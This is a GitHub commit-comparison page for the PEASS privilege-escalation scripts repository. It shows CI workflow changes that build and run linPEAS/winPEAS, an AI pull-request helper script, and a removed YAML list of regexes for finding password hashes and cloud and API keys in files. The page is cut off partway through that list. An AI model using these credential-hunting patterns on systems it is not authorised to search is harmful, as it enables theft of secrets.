mirror of
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git
synced 2025-12-08 18:11:29 +00:00
Compare commits
120 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
78ad8346a3 | ||
|
|
a0f612b582 | ||
|
|
aa59afe289 | ||
|
|
08144aaac3 | ||
|
|
8f533247be | ||
|
|
660dc3dc60 | ||
|
|
7b8b6670b8 | ||
|
|
6f48de1573 | ||
|
|
3cceae682d | ||
|
|
4a29293199 | ||
|
|
6d2e33cd61 | ||
|
|
8dd0350b5c | ||
|
|
b4801ccc4d | ||
|
|
083ed6ae7d | ||
|
|
ad2150ded5 | ||
|
|
74377ec9e8 | ||
|
|
917a3a0101 | ||
|
|
099755dbcb | ||
|
|
b9a44ffe66 | ||
|
|
cdd342fb26 | ||
|
|
36523f520f | ||
|
|
7f4965c0b7 | ||
|
|
898b29b0fa | ||
|
|
e36d5a5736 | ||
|
|
11cfe79ad0 | ||
|
|
a1552d61df | ||
|
|
71ec9c7d31 | ||
|
|
d4ff43b604 | ||
|
|
56a193df60 | ||
|
|
f67bedda4f | ||
|
|
f988d8b05f | ||
|
|
78c932f1af | ||
|
|
7e7738ab98 | ||
|
|
68cd1c28df | ||
|
|
58719a6075 | ||
|
|
2a4868c0eb | ||
|
|
e4b9ae6479 | ||
|
|
7b096cd930 | ||
|
|
a9ae25cdc3 | ||
|
|
e7617700b3 | ||
|
|
96c821193e | ||
|
|
7bb66d2182 | ||
|
|
711d9f1a95 | ||
|
|
a36c2c9107 | ||
|
|
2963e47866 | ||
|
|
d20699ed51 | ||
|
|
df4f122a53 | ||
|
|
7f8ea5fa44 | ||
|
|
7e9c9b4e5b | ||
|
|
fad2771dfb | ||
|
|
3e213bd8fd | ||
|
|
5356d3f2ec | ||
|
|
2ac2debc59 | ||
|
|
bb47a172b3 | ||
|
|
69c3906ab7 | ||
|
|
3bec4c4b52 | ||
|
|
345bf63b40 | ||
|
|
1e796b9876 | ||
|
|
39d811c16f | ||
|
|
a0175b0172 | ||
|
|
b0f4868feb | ||
|
|
4f295a138d | ||
|
|
a1e06de8ca | ||
|
|
2775083680 | ||
|
|
62e4b071cd | ||
|
|
4a0b8fb065 | ||
|
|
4ba0f6b6c2 | ||
|
|
ff96d02125 | ||
|
|
4f3a8265e0 | ||
|
|
8912bd2b9c | ||
|
|
438e00527d | ||
|
|
144c0aef6f | ||
|
|
c597da42f7 | ||
|
|
613bf14049 | ||
|
|
e1fdef50d9 | ||
|
|
b1845a1a18 | ||
|
|
19a2ed5f5a | ||
|
|
1a7183decf | ||
|
|
8ee66af278 | ||
|
|
0682cafe08 | ||
|
|
aa1f162359 | ||
|
|
60b2e1d974 | ||
|
|
5b96594c3c | ||
|
|
eabec47c08 | ||
|
|
7b9bf9cf91 | ||
|
|
ded6f3045f | ||
|
|
d20638fa7b | ||
|
|
aa69a494b4 | ||
|
|
a4b226c16e | ||
|
|
3cc49b5b9a | ||
|
|
e5b9b67786 | ||
|
|
e29c9e88d5 | ||
|
|
8b6ce759d0 | ||
|
|
116d842158 | ||
|
|
46033a7af0 | ||
|
|
0ab4a65bab | ||
|
|
27d954e03a | ||
|
|
9416b924cb | ||
|
|
6ec25656f2 | ||
|
|
3039ce555d | ||
|
|
d382de1cb1 | ||
|
|
c62a8f8b54 | ||
|
|
a70b9773db | ||
|
|
7a19b0968f | ||
|
|
ce002b9f33 | ||
|
|
1afac19979 | ||
|
|
219b1669c3 | ||
|
|
1274f21097 | ||
|
|
f86e301a1b | ||
|
|
940b4bc791 | ||
|
|
b2e1a4e64a | ||
|
|
cb3e62a3ff | ||
|
|
701d41073a | ||
|
|
31e318c870 | ||
|
|
eb34a006e2 | ||
|
|
3950a1f7bd | ||
|
|
eaac654739 | ||
|
|
7bc53594b0 | ||
|
|
55faa3b5e8 | ||
|
|
8b444ba674 |
1
.github/ISSUE_TEMPLATE.md
vendored
1
.github/ISSUE_TEMPLATE.md
vendored
@@ -1,4 +1,5 @@
|
|||||||
If you are going to suggest something, please remove the following template.
|
If you are going to suggest something, please remove the following template.
|
||||||
|
If your issue is related with WinPEAS.ps1 please mention https://github.com/RandolphConley
|
||||||
|
|
||||||
#### Issue description
|
#### Issue description
|
||||||
|
|
||||||
|
|||||||
72
.github/workflows/CI-master_tests.yml
vendored
72
.github/workflows/CI-master_tests.yml
vendored
@@ -1,9 +1,11 @@
|
|||||||
name: CI-master_test
|
name: CI-master_test
|
||||||
|
|
||||||
on:
|
on:
|
||||||
pull_request:
|
push:
|
||||||
branches:
|
branches:
|
||||||
- master
|
- master
|
||||||
|
paths-ignore:
|
||||||
|
- '.github/**'
|
||||||
|
|
||||||
schedule:
|
schedule:
|
||||||
- cron: "5 4 * * SUN"
|
- cron: "5 4 * * SUN"
|
||||||
@@ -27,6 +29,10 @@ jobs:
|
|||||||
with:
|
with:
|
||||||
ref: ${{ github.head_ref }}
|
ref: ${{ github.head_ref }}
|
||||||
|
|
||||||
|
- name: Download regexes
|
||||||
|
run: |
|
||||||
|
powershell.exe -ExecutionPolicy Bypass -File build_lists/download_regexes.ps1
|
||||||
|
|
||||||
# Add MSBuild to the PATH: https://github.com/microsoft/setup-msbuild
|
# Add MSBuild to the PATH: https://github.com/microsoft/setup-msbuild
|
||||||
- name: Setup MSBuild.exe
|
- name: Setup MSBuild.exe
|
||||||
uses: microsoft/setup-msbuild@v1.0.2
|
uses: microsoft/setup-msbuild@v1.0.2
|
||||||
@@ -43,9 +49,9 @@ jobs:
|
|||||||
- name: run MSBuild
|
- name: run MSBuild
|
||||||
run: msbuild $env:Solution_Path
|
run: msbuild $env:Solution_Path
|
||||||
|
|
||||||
# Execute all unit tests in the solution
|
# Execute all unit tests in the solution - It's broken :(
|
||||||
- name: Execute unit tests
|
#- name: Execute unit tests
|
||||||
run: dotnet test $env:Solution_Path
|
# run: dotnet test $env:Solution_Path
|
||||||
|
|
||||||
# Build & update all versions
|
# Build & update all versions
|
||||||
- name: Build all versions
|
- name: Build all versions
|
||||||
@@ -134,6 +140,12 @@ jobs:
|
|||||||
name: winPEAS.bat
|
name: winPEAS.bat
|
||||||
path: winPEAS\winPEASbat\winPEAS.bat
|
path: winPEAS\winPEASbat\winPEAS.bat
|
||||||
|
|
||||||
|
- name: Upload winpeas.ps1
|
||||||
|
uses: actions/upload-artifact@v2
|
||||||
|
with:
|
||||||
|
name: winPEAS.ps1
|
||||||
|
path: winPEAS\winPEASps1\winPEAS.ps1
|
||||||
|
|
||||||
# Git add
|
# Git add
|
||||||
#- name: Create local changes
|
#- name: Create local changes
|
||||||
# run: |
|
# run: |
|
||||||
@@ -198,8 +210,36 @@ jobs:
|
|||||||
run: linPEAS/linpeas.sh -h
|
run: linPEAS/linpeas.sh -h
|
||||||
|
|
||||||
# Run linpeas as a test
|
# Run linpeas as a test
|
||||||
- name: Run linpeas
|
- name: Run linpeas system_information
|
||||||
run: linPEAS/linpeas.sh -a -D
|
run: linPEAS/linpeas.sh -o system_information -a
|
||||||
|
|
||||||
|
- name: Run linpeas container
|
||||||
|
run: linPEAS/linpeas.sh -o container -a
|
||||||
|
|
||||||
|
- name: Run linpeas cloud
|
||||||
|
run: linPEAS/linpeas.sh -o cloud -a
|
||||||
|
|
||||||
|
- name: Run linpeas procs_crons_timers_srvcs_sockets
|
||||||
|
run: linPEAS/linpeas.sh -o procs_crons_timers_srvcs_sockets -a
|
||||||
|
|
||||||
|
- name: Run linpeas network_information
|
||||||
|
run: linPEAS/linpeas.sh -o network_information -t -a
|
||||||
|
|
||||||
|
- name: Run linpeas users_information
|
||||||
|
run: linPEAS/linpeas.sh -o users_information -a
|
||||||
|
|
||||||
|
- name: Run linpeas software_information
|
||||||
|
run: linPEAS/linpeas.sh -o software_information -a
|
||||||
|
|
||||||
|
- name: Run linpeas interesting_perms_files
|
||||||
|
run: linPEAS/linpeas.sh -o interesting_perms_files -a
|
||||||
|
|
||||||
|
- name: Run linpeas interesting_files
|
||||||
|
run: linPEAS/linpeas.sh -o interesting_files -a
|
||||||
|
|
||||||
|
# Too much time
|
||||||
|
#- name: Run linpeas api_keys_regex
|
||||||
|
# run: linPEAS/linpeas.sh -o api_keys_regex -r
|
||||||
|
|
||||||
# Upload files for release
|
# Upload files for release
|
||||||
- name: Upload linpeas.sh
|
- name: Upload linpeas.sh
|
||||||
@@ -208,6 +248,12 @@ jobs:
|
|||||||
name: linpeas.sh
|
name: linpeas.sh
|
||||||
path: linPEAS/linpeas.sh
|
path: linPEAS/linpeas.sh
|
||||||
|
|
||||||
|
- name: Upload linpeas_fat.sh
|
||||||
|
uses: actions/upload-artifact@v2
|
||||||
|
with:
|
||||||
|
name: linpeas_fat.sh
|
||||||
|
path: linPEAS/linpeas_fat.sh
|
||||||
|
|
||||||
## Linux bins
|
## Linux bins
|
||||||
- name: Upload linpeas_linux_386
|
- name: Upload linpeas_linux_386
|
||||||
uses: actions/upload-artifact@v2
|
uses: actions/upload-artifact@v2
|
||||||
@@ -335,6 +381,11 @@ jobs:
|
|||||||
with:
|
with:
|
||||||
name: linpeas.sh
|
name: linpeas.sh
|
||||||
|
|
||||||
|
- name: Download linpeas_fat.sh
|
||||||
|
uses: actions/download-artifact@v2
|
||||||
|
with:
|
||||||
|
name: linpeas_fat.sh
|
||||||
|
|
||||||
- name: Download linpeas_linux_386
|
- name: Download linpeas_linux_386
|
||||||
uses: actions/download-artifact@v2
|
uses: actions/download-artifact@v2
|
||||||
with:
|
with:
|
||||||
@@ -369,6 +420,10 @@ jobs:
|
|||||||
id: date
|
id: date
|
||||||
run: echo "::set-output name=date::$(date +'%Y%m%d')"
|
run: echo "::set-output name=date::$(date +'%Y%m%d')"
|
||||||
|
|
||||||
|
- name: Generate random
|
||||||
|
id: random_n
|
||||||
|
run: echo "::set-output name=some_rand::$(openssl rand -hex 4)"
|
||||||
|
|
||||||
# Create the release
|
# Create the release
|
||||||
- name: Create Release
|
- name: Create Release
|
||||||
id: create_release
|
id: create_release
|
||||||
@@ -376,8 +431,8 @@ jobs:
|
|||||||
env:
|
env:
|
||||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
with:
|
with:
|
||||||
tag_name: ${{steps.date.outputs.date}}
|
tag_name: ${{steps.date.outputs.date}}-${{steps.random_n.outputs.some_rand}}
|
||||||
release_name: Release ${{ github.ref }} ${{steps.date.outputs.date}}
|
release_name: Release ${{ github.ref }} ${{steps.date.outputs.date}}-${{steps.random_n.outputs.some_rand}}
|
||||||
draft: false
|
draft: false
|
||||||
prerelease: false
|
prerelease: false
|
||||||
|
|
||||||
@@ -388,4 +443,3 @@ jobs:
|
|||||||
assets_path: .
|
assets_path: .
|
||||||
env:
|
env:
|
||||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
|
||||||
|
|||||||
23
.github/workflows/aicoder.yml
vendored
Normal file
23
.github/workflows/aicoder.yml
vendored
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
name: aicoder
|
||||||
|
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
Build_and_test_winpeas_master:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
|
||||||
|
steps:
|
||||||
|
# checkout
|
||||||
|
- name: AICoder GH Action
|
||||||
|
uses: AICoderHub/GH_Action@v0.11
|
||||||
|
with:
|
||||||
|
INPUT_MODE: 'file-optimizer'
|
||||||
|
INPUT_PROMPT: ''
|
||||||
|
INPUT_OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
|
||||||
|
INPUT_MODEL: 'gpt-4'
|
||||||
|
TEMPLATE_FILES: ''
|
||||||
|
ORIGIN_BRANCH: 'aicoder'
|
||||||
|
TO_BRANCH: 'master'
|
||||||
|
CHECK_PATH: './parsers/json2pdf.py'
|
||||||
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
2
.gitignore
vendored
2
.gitignore
vendored
@@ -28,3 +28,5 @@ sh2bin
|
|||||||
sh2bin/*
|
sh2bin/*
|
||||||
.dccache
|
.dccache
|
||||||
./*/.dccache
|
./*/.dccache
|
||||||
|
regexes.yaml
|
||||||
|
build_lists/regexes.yaml
|
||||||
208
AICoder.py
Normal file
208
AICoder.py
Normal file
@@ -0,0 +1,208 @@
|
|||||||
|
import argparse
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import string
|
||||||
|
import random
|
||||||
|
from typing import List
|
||||||
|
import openai
|
||||||
|
import json
|
||||||
|
import subprocess
|
||||||
|
import tiktoken
|
||||||
|
import requests
|
||||||
|
from github import Github
|
||||||
|
|
||||||
|
#########################
|
||||||
|
#### OPENAI FUNCTIONS ###
|
||||||
|
#########################
|
||||||
|
|
||||||
|
def reportTokens(prompt, model="gpt-4"):
|
||||||
|
encoding = tiktoken.encoding_for_model(model)
|
||||||
|
print("\033[37m" + str(len(encoding.encode(prompt))) + " tokens\033[0m" + " in prompt: " + "\033[92m" + prompt[:50] + "\033[0m" + ("..." if len(prompt) > 50 else ""))
|
||||||
|
|
||||||
|
def write_file(file_path: str, content: str):
|
||||||
|
"""Write content to a file creating the needed directories first"""
|
||||||
|
os.makedirs(os.path.dirname(file_path), exist_ok=True)
|
||||||
|
|
||||||
|
with open(file_path, "w") as file:
|
||||||
|
file.write(content)
|
||||||
|
|
||||||
|
def delete_file(file_path: str):
|
||||||
|
"""Delete a file if it exists"""
|
||||||
|
|
||||||
|
if os.path.isfile(file_path):
|
||||||
|
os.remove(file_path)
|
||||||
|
|
||||||
|
openai_available_functions = {
|
||||||
|
"write_file": write_file, "delete_file": delete_file
|
||||||
|
}
|
||||||
|
|
||||||
|
openai_functions = [
|
||||||
|
{
|
||||||
|
"name": "write_file",
|
||||||
|
"description": "Write a file giving the path and the content",
|
||||||
|
"parameters": {
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"file_path": {
|
||||||
|
"type": "string",
|
||||||
|
"description": "Path to the file to write",
|
||||||
|
},
|
||||||
|
"content": {
|
||||||
|
"type": "string",
|
||||||
|
"description": "Content to write in the file",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"required": ["file_path", "content"],
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "delete_file",
|
||||||
|
"description": "Delete a file",
|
||||||
|
"parameters": {
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"file_path": {
|
||||||
|
"type": "string",
|
||||||
|
"description": "Path to the file to write",
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"required": ["file_path"],
|
||||||
|
},
|
||||||
|
}
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
#########################
|
||||||
|
#### GIT FUNCTIONS ######
|
||||||
|
#########################
|
||||||
|
|
||||||
|
|
||||||
|
def create_pull_request(branch_name, commit_message, github_token):
|
||||||
|
github = Github(github_token)
|
||||||
|
repo = github.get_repo(os.environ["GITHUB_REPOSITORY"])
|
||||||
|
|
||||||
|
# Create a new branch
|
||||||
|
base_branch = repo.get_branch(repo.default_branch)
|
||||||
|
repo.create_git_ref(ref=f"refs/heads/{branch_name}", sha=base_branch.commit.sha)
|
||||||
|
|
||||||
|
# Commit changes to the new branch
|
||||||
|
subprocess.run(["git", "checkout", branch_name])
|
||||||
|
subprocess.run(["git", "add", "."])
|
||||||
|
subprocess.run(["git", "commit", "-m", commit_message])
|
||||||
|
subprocess.run(["git", "push", "origin", branch_name])
|
||||||
|
|
||||||
|
# Create a pull request
|
||||||
|
pr = repo.create_pull(
|
||||||
|
title=commit_message,
|
||||||
|
body="Generated by OpenAI Github Action",
|
||||||
|
head=branch_name,
|
||||||
|
base=repo.default_branch
|
||||||
|
)
|
||||||
|
|
||||||
|
return pr.html_url
|
||||||
|
|
||||||
|
|
||||||
|
#########################
|
||||||
|
#### FILE PROCESSING ####
|
||||||
|
#########################
|
||||||
|
|
||||||
|
|
||||||
|
def process_file(prompt: str, api_key: str, file_path: str, model: str="gpt-4") -> str:
|
||||||
|
with open(file_path, "r") as file:
|
||||||
|
file_content = file.read()
|
||||||
|
|
||||||
|
messages = [
|
||||||
|
{"role": "system", "content": f"You are a developer and your goal is to generate code. The user will ask you to improve and modify some code. Your response must be a valid JSON with the path of each file to write as keys and the content of the files as values. Several files can be written at the same time."},
|
||||||
|
{"role": "user", "content": prompt},
|
||||||
|
{"role": "user", "content": f"This is the code from the file '{file_path}':\n\n{file_content}"}
|
||||||
|
]
|
||||||
|
openai.api_key = api_key
|
||||||
|
|
||||||
|
reportTokens(f"This is the code from the file '{file_path}':\n\n{file_content}")
|
||||||
|
|
||||||
|
response = openai.ChatCompletion.create(
|
||||||
|
model=model,
|
||||||
|
messages=messages,
|
||||||
|
temperature=0
|
||||||
|
)
|
||||||
|
response_message = response["choices"][0]["message"]
|
||||||
|
|
||||||
|
# Step 2: check if GPT wanted to call a function
|
||||||
|
if response_message.get("function_call"):
|
||||||
|
|
||||||
|
function_name = response_message["function_call"]["name"]
|
||||||
|
fuction_to_call = openai_available_functions[function_name]
|
||||||
|
function_args = json.loads(response_message["function_call"]["arguments"])
|
||||||
|
fuction_to_call(**function_args)
|
||||||
|
|
||||||
|
|
||||||
|
def process_folder(prompt: str, api_key: str, folder_path: str, model: str="gpt-4") -> List[str]:
|
||||||
|
responses = []
|
||||||
|
for root, _, files in os.walk(folder_path):
|
||||||
|
for file in files:
|
||||||
|
file_path = os.path.join(root, file)
|
||||||
|
response = process_file(prompt, api_key, file_path, model)
|
||||||
|
responses.append(response)
|
||||||
|
|
||||||
|
|
||||||
|
#########################
|
||||||
|
#### MAIN FUNCTION ######
|
||||||
|
#########################
|
||||||
|
|
||||||
|
|
||||||
|
def get_random_string(length):
|
||||||
|
# With combination of lower and upper case
|
||||||
|
letters = string.ascii_letters
|
||||||
|
result_str = ''.join(random.choice(letters) for i in range(length))
|
||||||
|
return result_str
|
||||||
|
|
||||||
|
def main(prompt: str, api_key: str, file_path: str, github_token: str, model: str="gpt-4"):
|
||||||
|
if os.path.isfile(file_path):
|
||||||
|
process_file(prompt, api_key, file_path, model)
|
||||||
|
elif os.path.isdir(file_path):
|
||||||
|
process_folder(prompt, api_key, file_path, model)
|
||||||
|
else:
|
||||||
|
print("Error: Invalid file path.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
try:
|
||||||
|
create_pull_request(get_random_string(5), f"Modified {file_path}", github_token)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error: Failed to create pull request. {e}")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
# Setup the argument parser
|
||||||
|
parser = argparse.ArgumentParser()
|
||||||
|
|
||||||
|
# Add arguments for prompt, api_key, file_path and github_token
|
||||||
|
parser.add_argument('--prompt', default=None, type=str, help='Input prompt')
|
||||||
|
parser.add_argument('--api-key', default=None, type=str, help='Input API key')
|
||||||
|
parser.add_argument('--path', default=None, type=str, help='Input file/folder path')
|
||||||
|
parser.add_argument('--github-token', default=None, type=str, help='Github token')
|
||||||
|
parser.add_argument('--model', default="gpt-4", type=str, help='Model to use')
|
||||||
|
|
||||||
|
# Parse the arguments
|
||||||
|
args = parser.parse_args()
|
||||||
|
prompt = os.environ.get("INPUT_PROMPT", args.prompt)
|
||||||
|
api_key = os.environ.get("INPUT_API_KEY", args.api_key)
|
||||||
|
file_path = os.environ.get("INPUT_FILE_PATH", args.path)
|
||||||
|
github_token = os.environ.get("GITHUB_TOKEN", args.github_token)
|
||||||
|
model = os.environ.get("INPUT_MODEL", args.model)
|
||||||
|
|
||||||
|
if not prompt or not api_key or not file_path:
|
||||||
|
print("Error: Missing required inputs.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
#if not github_token:
|
||||||
|
# print("Error: Missing github token.")
|
||||||
|
# sys.exit(1)
|
||||||
|
|
||||||
|
if os.path.exists(prompt):
|
||||||
|
with open(prompt, "r") as file:
|
||||||
|
prompt = file.read()
|
||||||
|
|
||||||
|
if prompt.startswith("http"):
|
||||||
|
prompt = requests.get(prompt).text
|
||||||
|
|
||||||
|
main(prompt, api_key, file_path, github_token, model)
|
||||||
@@ -30,7 +30,7 @@ Do you want to have **access the latest version of Hacktricks and PEASS**, obtai
|
|||||||
|
|
||||||
**LinPEAS, WinPEAS and MacPEAS** aren’t enough for you? Welcome [**The PEASS Family**](https://opensea.io/collection/the-peass-family/), a limited collection of [**exclusive NFTs**](https://opensea.io/collection/the-peass-family/) of our favourite PEASS in disguise, designed by my team. Go **get your favourite and make it yours!** And if you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!**
|
**LinPEAS, WinPEAS and MacPEAS** aren’t enough for you? Welcome [**The PEASS Family**](https://opensea.io/collection/the-peass-family/), a limited collection of [**exclusive NFTs**](https://opensea.io/collection/the-peass-family/) of our favourite PEASS in disguise, designed by my team. Go **get your favourite and make it yours!** And if you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!**
|
||||||
|
|
||||||
You can also, join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) to learn about latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 [@carlospolopm](https://twitter.com/carlospolopm).
|
You can also, join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) to learn about latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 [@hacktricks_live](https://twitter.com/hacktricks_live).
|
||||||
|
|
||||||
## Let's improve PEASS together
|
## Let's improve PEASS together
|
||||||
|
|
||||||
|
|||||||
5
build_lists/download_regexes.ps1
Normal file
5
build_lists/download_regexes.ps1
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
|
||||||
|
$filePath = Join-Path $scriptDir "regexes.yaml"
|
||||||
|
$url = "https://raw.githubusercontent.com/JaimePolop/RExpository/main/regex.yaml"
|
||||||
|
|
||||||
|
Invoke-WebRequest $url -OutFile $filePath
|
||||||
24
build_lists/download_regexes.py
Executable file
24
build_lists/download_regexes.py
Executable file
@@ -0,0 +1,24 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import os
|
||||||
|
import requests
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
|
||||||
|
def download_regexes():
|
||||||
|
print("[+] Downloading regexes...")
|
||||||
|
url = "https://raw.githubusercontent.com/JaimePolop/RExpository/main/regex.yaml"
|
||||||
|
response = requests.get(url)
|
||||||
|
if response.status_code == 200:
|
||||||
|
# Save the content of the response to a file
|
||||||
|
script_folder = Path(os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
target_file = script_folder / 'regexes.yaml'
|
||||||
|
|
||||||
|
with open(target_file, "w") as file:
|
||||||
|
file.write(response.text)
|
||||||
|
print(f"Downloaded and saved in '{target_file}' successfully!")
|
||||||
|
else:
|
||||||
|
print("Error: Unable to download the regexes file.")
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
download_regexes()
|
||||||
@@ -1,204 +1,2 @@
|
|||||||
paths:
|
This is a placeholder.
|
||||||
- $HOMESEARCH
|
To fill this yaml execute one of the scripts download_regexes.py or download_regexes.ps1
|
||||||
- /etc
|
|
||||||
- /opt
|
|
||||||
- /tmp
|
|
||||||
- /private
|
|
||||||
- /Applications
|
|
||||||
- /var/www
|
|
||||||
- /var/log
|
|
||||||
- /private/var/log
|
|
||||||
- /usr/local/www/
|
|
||||||
- $backup_folders_row
|
|
||||||
|
|
||||||
|
|
||||||
regular_expresions:
|
|
||||||
# Hashes passwords
|
|
||||||
- name: Hashed Passwords
|
|
||||||
regexes:
|
|
||||||
- name: Apr1 MD5
|
|
||||||
regex: '\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}'
|
|
||||||
|
|
||||||
- name: Apache SHA
|
|
||||||
regex: '\{SHA\}[0-9a-zA-Z/_=]{10,}'
|
|
||||||
|
|
||||||
- name: Blowfish
|
|
||||||
regex: '\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*'
|
|
||||||
|
|
||||||
- name: Drupal
|
|
||||||
regex: '\$S\$[a-zA-Z0-9_/\.]{52}'
|
|
||||||
|
|
||||||
- name: Joomlavbulletin
|
|
||||||
regex: '[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}'
|
|
||||||
|
|
||||||
- name: Linux MD5
|
|
||||||
regex: '\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}'
|
|
||||||
|
|
||||||
- name: phpbb3
|
|
||||||
regex: '\$H\$[a-zA-Z0-9_/\.]{31}'
|
|
||||||
|
|
||||||
- name: sha512crypt
|
|
||||||
regex: '\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}'
|
|
||||||
|
|
||||||
- name: Wordpress
|
|
||||||
regex: '\$P\$[a-zA-Z0-9_/\.]{31}'
|
|
||||||
|
|
||||||
|
|
||||||
# Raw Hashes
|
|
||||||
- name: Raw Hashes
|
|
||||||
regexes:
|
|
||||||
#- name: md5 #Too many false positives
|
|
||||||
# regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{32}([^a-zA-Z0-9]|$)'
|
|
||||||
|
|
||||||
#- name: sha1 #Too many false positives
|
|
||||||
# regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{40}([^a-zA-Z0-9]|$)'
|
|
||||||
|
|
||||||
#- name: sha256 #Too many false positives
|
|
||||||
# regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{64}([^a-zA-Z0-9]|$)'
|
|
||||||
|
|
||||||
- name: sha512
|
|
||||||
regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)'
|
|
||||||
|
|
||||||
# APIs
|
|
||||||
# https://github.com/l4yton/RegHex/blob/master/README.md
|
|
||||||
- name: APIs
|
|
||||||
regexes:
|
|
||||||
#- name: Artifactory API Token # False +
|
|
||||||
# regex: 'AKC[a-zA-Z0-9]{10,}' # False +
|
|
||||||
|
|
||||||
#- name: Artifactory Password
|
|
||||||
# regex: 'AP[\dABCDEF][a-zA-Z0-9]{8,}'
|
|
||||||
|
|
||||||
#- name: Authorization Basic # Too many false positives
|
|
||||||
# regex: 'basic [a-zA-Z0-9_:\.=\-]+'
|
|
||||||
|
|
||||||
#- name: Authorization Bearer # Too many false positives
|
|
||||||
# regex: 'bearer [a-zA-Z0-9_\.=\-]+'
|
|
||||||
|
|
||||||
- name: AWS Client ID
|
|
||||||
regex: '(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'
|
|
||||||
extra_grep: '-Ev ":#|:<\!\-\-"'
|
|
||||||
|
|
||||||
- name: AWS MWS Key
|
|
||||||
regex: 'amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'
|
|
||||||
|
|
||||||
- name: AWS Secret Key
|
|
||||||
regex: aws(.{0,20})?['"][0-9a-zA-Z\/+]{40}['"]
|
|
||||||
|
|
||||||
#- name: Base32 #Too many false positives
|
|
||||||
# regex: '(?:[A-Z2-7]{8})*(?:[A-Z2-7]{2}={6}|[A-Z2-7]{4}={4}|[A-Z2-7]{5}={3}|[A-Z2-7]{7}=)?'
|
|
||||||
|
|
||||||
#- name: Base64 #Too many false positives
|
|
||||||
# regex: '(eyJ|YTo|Tzo|PD[89]|aHR0cHM6L|aHR0cDo|rO0)[a-zA-Z0-9+/]+={0,2}'
|
|
||||||
|
|
||||||
- name: Basic Auth Credentials
|
|
||||||
regex: '://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+'
|
|
||||||
|
|
||||||
- name: Cloudinary Basic Auth
|
|
||||||
regex: 'cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+'
|
|
||||||
|
|
||||||
- name: Facebook Access Token
|
|
||||||
regex: 'EAACEdEose0cBA[0-9A-Za-z]+'
|
|
||||||
|
|
||||||
- name: Facebook Client ID
|
|
||||||
regex: ([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['"][0-9]{13,17}
|
|
||||||
|
|
||||||
- name: Facebook Oauth
|
|
||||||
regex: >
|
|
||||||
[fF][aA][cC][eE][bB][oO][oO][kK].*['|"][0-9a-f]{32}['|"]
|
|
||||||
|
|
||||||
- name: Facebook Secret Key
|
|
||||||
regex: >
|
|
||||||
([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['"][0-9a-f]{32}
|
|
||||||
|
|
||||||
- name: Github
|
|
||||||
regex: >
|
|
||||||
github(.{0,20})?['"][0-9a-zA-Z]{35,40}
|
|
||||||
|
|
||||||
- name: Google API Key
|
|
||||||
regex: 'AIza[0-9A-Za-z_\-]{35}'
|
|
||||||
|
|
||||||
- name: Google Cloud Platform API Key
|
|
||||||
regex: >
|
|
||||||
(google|gcp|youtube|drive|yt)(.{0,20})?['"][AIza[0-9a-z_\-]{35}]['"]
|
|
||||||
|
|
||||||
- name: Google Drive Oauth
|
|
||||||
regex: '[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com'
|
|
||||||
|
|
||||||
- name: Google Oauth Access Token
|
